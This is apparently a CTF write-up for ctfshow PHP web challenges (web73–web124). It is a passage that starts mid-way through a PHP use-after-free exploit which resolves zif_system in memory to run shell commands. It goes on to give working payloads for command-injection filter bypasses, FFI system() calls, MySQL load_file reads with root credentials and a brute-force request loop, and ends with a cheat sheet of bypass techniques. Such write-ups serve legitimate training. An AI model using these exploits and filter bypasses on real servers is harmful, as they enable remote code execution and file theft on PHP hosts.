    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();

web73

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}exit();

bin dev etc flagc.txt home lib media mnt opt proc root run sbin srv sys tmp usr var


c=require("/flagc.txt");exit();

web74

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}exit();

bin dev etc flagx.txt home lib media mnt opt proc root run sbin srv sys tmp usr var
    
    
c=require("/flagx.txt");exit();

***web75

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}exit();

bin dev etc flag36.txt home lib media mnt opt proc root run sbin srv sys tmp usr var


c=require("/flag36.txt");exit();

Good news is wrong. It seems that it can't be used require Yes, I'll try include. 
Good or not

After reading Nanshen blog, payload is as follows.

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

web76

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}exit();

bin dev etc flag36d.txt home lib media mnt opt proc root run sbin srv sys tmp usr var

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

web77

php7.4
Read the directory as before

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();

It is found that flag is flag36x Txt and a readflag
Then look at the hint of the group leader
FFI,php7. More than 4 https://www.php.net/manual/zh/ffi.cdef.php https://www.php.cn/php-weizijiaocheng-415807.html
Here, the readflag content can be output to other places by redirection because it cannot be echoed

c=?><?php $ffi = FFI::cdef("int system(const char *command);");$ffi->system("/readflag >flag.txt");exit();

web118

See system($code) in the source code; But he stopped directly

So write a script to fuzz it

ABCDEFGHIJKLMNOPQRSTUVWXYZ # $.:@_ {} ~ all available, others unavailable

!preg_match('/\x09|\x0a|[a-z]|[0-9]|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/'

So bash built-in variables are used to take advantage of

First, determine the commands to use: cat, tac, more, less, head, tail, nl, sed, sort, uniq, rev

Then try to construct it. You can see that the letter and 0 have the same function

The first idea here must be to construct the shortest nl

But the target didn't show back to me. I couldn't see the difference between him and my local

Finally, I went to see Nanshen blog

PATH echo / usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Then, because the general topics are under / var/www/html

So I got nl, and then??? To match to flag php

${PATH:~A}${PWD:~A} ????.???

Then view the source code

web119

On the previous basis, ban lost PATH and base

Unfortunately, I wanted to construct the head after the PATH was filtered out, because I could get the he, but I couldn't help it when the base was filtered again. Finally, I used the payload in hint

${HOME:${#HOSTNAME}:${#SHLVL}}     ====>   t

${PWD:${Z}:${#SHLVL}}    ====>   /

/bin/cat flag.php

${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???

web120

Finally the white list

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

Here we try to use the above payload to deform. First, can we use it? What's the use?

You can find that ${HOME:${#HOSTNAME}:${#SHLVL}} of the last payload takes up a special place, so you think of finding other letters

Due to the shooting range environment, the permissions given are generally www data, which can be used here? a? To refer to cat

${PWD::${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~A}? ????.???

Then view the source code

web121

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>


Here / bin/bash64 can be constructed to output, while the output of RANDOM is generally 4 and 5 on my target, and rarely 3

${PWD:: ${##}} output / ${RANDOM} output RANDOM number ${#RANDOM} output the length of RANDOM number, so adding # is the length of output content

code=${PWD:${#}:${##}}???${PWD:${#}:${##}}?????${#RANDOM} ????.???

web122

PWD and #, HOME are filtered and whitelisted

Check hint $? $? Is the returned value after the execution of the previous command. Generally, 0 means successful execution, and non-0 means wrong execution

Here, copy the information that Nanshen is looking for

"OS error code   1:  Operation not permitted"
"OS error code   2:  No such file or directory"
"OS error code   3:  No such process"
"OS error code   4:  Interrupted system call"
"OS error code   5:  Input/output error"
"OS error code   6:  No such device or address"
"OS error code   7:  Argument list too long"
"OS error code   8:  Exec format error"
"OS error code   9:  Bad file descriptor"
"OS error code  10:  No child processes"

Use < A to construct the number 1, and then watch the run run run out of the number 4

code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
import requests
url = 'http://5186025a-cc19-4b5b-bd65-1258825fc3dc.challenge.ctf.show/'
data = {'code':'<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???'}
while True:
    r = requests.post(url=url,data=data).text
    if('PD9w' in r):
        print(r)
        exit()

web124

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: Collected from network
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-06 14:04:45

*/

error_reporting(0);
//I heard that you like math very much. I don't know if you love it more than flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //Example c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("It's too long to count");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("Please do not enter strange characters");
        }
    }
    //Common mathematical functions http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("Please do not enter strange functions");
        }
    }
    //Help you figure out the answer
    eval('echo '.$content.';');
} 

Here, find a way to construct system('xxx ') to execute arbitrary commands

It can be constructed in a way$_ GET[a]($_GET[b]), so you can execute the command by passing in a = System & B = ls

payload

c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{sin}($$pi{cos})&sin=system&cos=tac flag.php

Online binary conversion: https://tool.lu/hexconvert/

Hex 2bin's decimal is 37907361743

dechex is used to convert decimal to hexadecimal

_ The value of GET to hexadecimal and then to hexadecimal is 1598506324

hex2bin converts hexadecimal strings into ASCII codes

The reason for using pi as a variable is that pi is in the white list, and the variable name can be in the white list as long as it is in the white list. The following sin and cos are the same

Summary of knowledge points

1.linux knowledge: wildcard

  • Match any string / text, including empty string* ls file representing any character (0 or more)*
    ? Match any character (when not in parentheses)? Represents any 1 character ls file 0
    [abcd] matches any character in the abcd
    [a-z] refers to the range a to z, meaning [] matches any character ls file 0 in brackets

For linux cat and ca ''t ca\t ca""t, the effect is the same, which can also bypass the restriction of characters

2. The command execution function of the same system

system : Execute the external program and display the output if PHP Running in the server module, system() The function also attempts to refresh automatically after each line of output web The output cache of the server. If you want to get the raw output of a command without any processing, use passthru() Function.
exec :  Execute an external program,Echo last line,Need to use echo Output.
shell_exec :  adopt shell The environment executes the command and returns the complete output as a string.
popen :  Opens a pipeline to a process that derives from the given command Generated by command execution.
proc_open :  Execute a command and open it for input/Pointer to the output file.
passthru :  Execute the external program and display the original output. with exec() Functions are similar, passthru() Functions are also used to execute external commands( command)of When executed Unix When the command outputs binary data and needs to be directly transmitted to the browser, this function needs to be used instead exec() or system() Function. Commonly used to perform tasks such as pbmplus Commands that can directly output image streams. By setting Content-type by image/gif, Then call pbmplus Program output gif File, you can PHP The script outputs the image directly to the browser.
pcntl_exec() :  Execute the specified program in the current process space and return when an error occurs false ,No error is returned. 
`(Backquote): same as shell_exec() 

3. Space bypass

${IFS} but cannot write $IFS
$IFS$9
%09
<>
<
$IFS%09

4. Functions with the same usage as cat

cat,tac,more,less,head,tail,nl,sed,sort,uniq,rev

5. Pseudo agreement

Total:
file:// agreement
php:// agreement
zip:// bzip2:// zlib: / / protocol
data:// agreement
http:// Protocol https: / / protocol
phar:// agreement

Score:
file:// agreement:
		condition allow_url_fopen:off/on  allow_url_include :off/on
		For local file system access. stay include()/require()When the parameters are controllable, if you import non php The file will also be parsed into php
		Usage: 1.file://[absolute path and file name of the file]
	 		2.[The relative path and file name of the file]
	 		3.[http: //[network path and file name]

php:// Agreement: condition allow_url_include: only php://input   php://stdin   php://memory   php://temp On allow required_ url_ fopen:off/on
		effect: php:// Access to various input / output streams (I/O streams), which is often used in CTF php://filter and php://input , php://filter Used to read the source code, php://input For executing PHP code
		php://Detailed explanation of filter parameters: resource = (required, specifying the data stream you want to filter) read = (optional) write = (optional)
		yes read and write,Optional filters are string.rot13,string.toupper,string.tolower,string.strip_tags,convert.base64-encode & convert.base64-decode
         Usage example: php://filter/read=convert.base64-encode/resource=flag.php

zip:// bzip2:// zlib: / / protocol:
        Conditions: allow_url_fopen:off/on      allow_url_include :off/on
        effect: zip:// &Bzip2: / / & zlib: / /, both of which belong to compressed streams, can access the sub files in the compressed files. More importantly, there is no need to specify a suffix
        Usage: zip://[absolute path of compressed file]%23 [sub file name in compressed file]
        	 compress.bzip2://file.bz2
        	 compress.zlib://file.gz
        among phar://Similar to zip: / /

data:// agreement:
        Conditions: allow_url_fopen:on    allow_url_include :on
        Function: can use data://Data flow wrapper to transfer data in corresponding format. It can usually be used to execute PHP code.
        Usage: data://text/plain,            data://text/plain;base64,
        give an example: data://text/plain,<?php%20phpinfo();?>
        	 data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
          
        thus it can be seen, web37 This question can be used data://Pseudo protocol to execute code

6. Function to obtain directory

getallheaders(): Return all HTTP Header information, which returns an array instead of eval String is required, so use implode()Function to convert an array to a string

get_defined_vars(): This function is used to get all the defined variables, and the return value is also an array, but it is a two-dimensional array var_dump()Output can see the output content. After the first bit, you can use current()Function to get its value. See the official function for details. payload: var_dump(current(get_defined_vars()));

session_id(): session_id()Can be used to obtain/Set current session ID,You can use this function to get cookie Medium phpsessionid,And this value is controllable.
    If you can cookie Medium setting PHPSESSID=706870696e666f28293b,Then use hex2bin()Function, i.e. passed in?exp=eval(hex2bin(session_id(session_start())));     And set cookie: PHPSESSID=706870696e666f28293b
    session_start Function is to open session
    
Functions used with:
	print_r(scandir('.')); View all file names in the current directory
    var_dump()
	localeconv() Function returns an array containing local numbers and currency format information.
	current() Function returns the current element (cell) in the array,The first value is taken by default, pos yes current Alias for
	each() Returns the current key in the array/Value pair and move the array pointer one step forward
	end() Point the internal pointer of the array to the last cell
	next() Moves the internal pointer in the array one bit forward
	prev() Rewind the internal pointer in the array by one bit
	array_reverse() Returns an array in the reverse order of elements

7. Input and output

0   Standard input
1   standard output 
2   Error output
 In class Unix In the system,/dev/null,Or empty equipment,Is a special device file,It discards all data written into it(However, the write operation is reported to be successful)
difference:
2>/dev/null   Output error to empty device (i.e. discard)
>/dev/null 2>&1   Equivalent to 1>/dev/null 2>&1   That is, discard the standard output and output the error output to the standard output. Taken together, the error and standard output are output to the empty device
2>&1 >/dev/null   The error is output to the standard output, that is, to the screen, and the standard output is discarded

redirect> and >>   The former empties the file before writing content, and the latter appends the redirected content to the end of the existing file.

8. $(()) integer operation

echo $(()) = 0
 Reverse it
echo $((~$(()))) = -1
 Take the reverse and add it up
echo $(($((~$(())))$((~$(()))))) = -2
 Reverse the above
echo $((~$(($((~$(())))$((~$(()))))))) = 1

After Baidu, I found $(())Is used to do integer operations
 as a=5 b=7 c=2
echo $((a+b*c)) = 19
$(())The operations that can be performed are
+ - * / Add, subtract, multiply and divide

% Remainder operation

& | ^ ! AND,OR,XOR,NOT operation

9. Functions for reading files

highlight_file($filename);
show_source($filename);
print_r(php_strip_whitespace($filename));
print_r(file_get_contents($filename));
readfile($filename);
print_r(file($filename)); // var_dump
fread(fopen($filename,"r"), $size);
include($filename); // Non php code
include_once($filename); // Non php code
require($filename); // Non php code
require_once($filename); // Non php code
print_r(fread(popen("cat flag", "r"), $size));
print_r(fgets(fopen($filename, "r"))); // Read one line
fpassthru(fopen($filename, "r")); // Read from current position to EOF
print_r(fgetcsv(fopen($filename,"r"), $size));
print_r(fgetss(fopen($filename, "r"))); // Read a line from the file pointer and filter out HTML tags
print_r(fscanf(fopen("flag", "r"),"%s"));
print_r(parse_ini_file($filename)); // false is returned in case of failure, and the configuration array is returned in case of success

10. Function of reading directory 2.0

print_r(glob("*")); // Column current directory
print_r(glob("/*")); // Column root directory
print_r(scandir("."));
print_r(scandir("/"));
$d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
$d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
$a=glob("/*");foreach($a as $value){echo $value."   ";}
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

Topics: PHP CTF Information Security ctfshow